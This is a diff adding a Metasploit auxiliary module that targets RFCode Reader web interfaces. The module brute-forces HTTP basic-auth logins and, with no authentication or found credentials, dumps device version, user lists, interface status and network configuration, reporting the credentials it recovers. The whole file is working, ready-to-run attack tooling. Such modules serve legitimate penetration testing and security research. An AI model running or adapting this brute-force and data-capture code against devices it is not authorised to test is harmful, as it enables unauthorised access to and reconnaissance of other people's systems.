Create rfcode_reader_enum.rb

Adding new aux - RFCode Reader Web interface Login Brute Force & Config Capture Utility

Author: juushya

modules/auxiliary/scanner/http/rfcode_reader_enum.rb

@@ -0,0 +1,193 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+	include Msf::Auxiliary::AuthBrute
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'RFCode Reader Web interface Login Utility',
+			'Description'    => %{
+				This module simply attempts to login to a RFCode Reader web interface. Please note that
+				by default there is no authentication. In such a case, password brute force will not be performed. 
+				If there is authentication configured, the module will attempt to find valid login credentials and 
+        capture device information.
+			},
+			'Author'         =>
+				[
+					'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
+				],
+			'Version'	 => '1.0',
+			'License'  => MSF_LICENSE
+
+		))
+
+		register_options(
+			[
+				Opt::RPORT(80),
+				OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true])
+			], self.class)
+
+	end
+
+	#
+	# Info-Only
+	# Identify logged in user: /rfcode_reader/api/whoami.json?_dc=1369680704481
+	# Capture list of users: /rfcode_reader/api/userlist.json?_dc=1370353972710
+	# Interface configuration: /rfcode_reader/api/interfacestatus.json?_dc=1369678668067
+	# Network configuration: /rfcode_reader/api/netconfigstatus.json?_dc=1369678669208
+	#
+
+	def run_host(ip)
+		if not is_app_rfreader?
+			print_error("Application does not appear to be RFCode Reader. Module will not continue.")
+			return
+		end
+
+		print_status("Checking if authentication is required...")
+		if not is_auth_required?
+			print_warning("Application does not require authentication.")
+			user = ''
+			pass = ''
+
+			# Collect device platform & configuration info
+			collect_info(user, pass)
+			return
+		end
+
+		print_status("Brute-forcing...")
+		each_user_pass do |user, pass|
+			do_login(user, pass)
+		end
+	end
+
+	#
+	# What's the point of running this module if the app actually isn't RFCode Reader?
+	#
+	def is_app_rfreader?
+		res = send_request_raw({'uri' => '/rfcode_reader/api/whoami.json?_dc=1369680704481'})
+		return (res and res.code != 404)
+	end
+
+	#
+	# The default install of RFCode Reader app does not require authentication. Instead, it'll log the
+	# user right in. If that's the case, no point to brute-force, either.
+	#
+	def is_auth_required?
+		user = ''
+		pass = ''
+
+		res = send_request_cgi(
+			{
+				'uri'       => '/rfcode_reader/api/whoami.json?_dc=1369680704481',
+				'method'    => 'GET',
+				'authorization' => basic_auth(user,pass)
+			})
+
+		return (res and res.body =~ /{  }/) ? false : true
+	end
+
+	#
+	# Brute-force the login page
+	#
+	def do_login(user, pass)
+
+		vprint_status("Trying username:'#{user}' with password:'#{pass}'")
+		begin
+			res = send_request_cgi(
+			{
+				'uri'       => '/rfcode_reader/api/whoami.json?_dc=1369680704481',
+				'method'    => 'GET',
+				'authorization' => basic_auth(user,pass)
+			})
+
+			if not res or res.code == 401
+				vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
+				return :skip_pass
+			else
+				print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
+
+				collect_info(user, pass)
+
+				report_hash = {
+					:host   => datastore['RHOST'],
+					:port   => datastore['RPORT'],
+					:sname  => 'RFCode Reader',
+					:user   => user,
+					:pass   => pass,
+					:active => true,
+					:type => 'password'}
+
+				report_auth_info(report_hash)
+				return :next_user
+			end
+		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+			print_error("HTTP Connection Failed, Aborting")
+			return :abort
+		end
+	end
+
+	#
+	# Collect target info
+	#
+	def collect_info(user, pass)
+
+		vprint_status("Collecting information from app as '#{user}':'#{pass}'...")
+		begin
+
+			res = send_request_cgi(
+                        {
+                                'uri'       => '/rfcode_reader/api/version.json?_dc=1370460180056',
+                                'method'    => 'GET',
+                                'authorization' => basic_auth(user,pass)
+                        })
+
+                        print_good("Collecting device platform info...")
+                        print_good(res.body)
+
+			res = send_request_cgi(
+                        {
+                                'uri'       => '/rfcode_reader/api/userlist.json?_dc=1370353972710',
+                                'method'    => 'GET',
+                                'authorization' => basic_auth(user,pass)
+                        })
+
+                        print_good("Collecting user list...")
+                        print_good(res.body)
+
+
+			res = send_request_cgi(
+			{
+				'uri'       => '/rfcode_reader/api/interfacestatus.json?_dc=1369678668067',
+				'method'    => 'GET',
+				'authorization' => basic_auth(user,pass)
+			})
+
+			print_good("Collecting interface info…")
+			print_good(res.body)
+
+			res = send_request_cgi(
+                        {
+                                'uri'       => '/rfcode_reader/api/netconfigstatus.json?_dc=1369678669208',
+                                'method'    => 'GET',
+                                'authorization' => basic_auth(user,pass)
+                        })
+
+                        print_good("Collecting network configuration…")
+                        print_good(res.body)
+
+
+			return
+		end
+	end
+end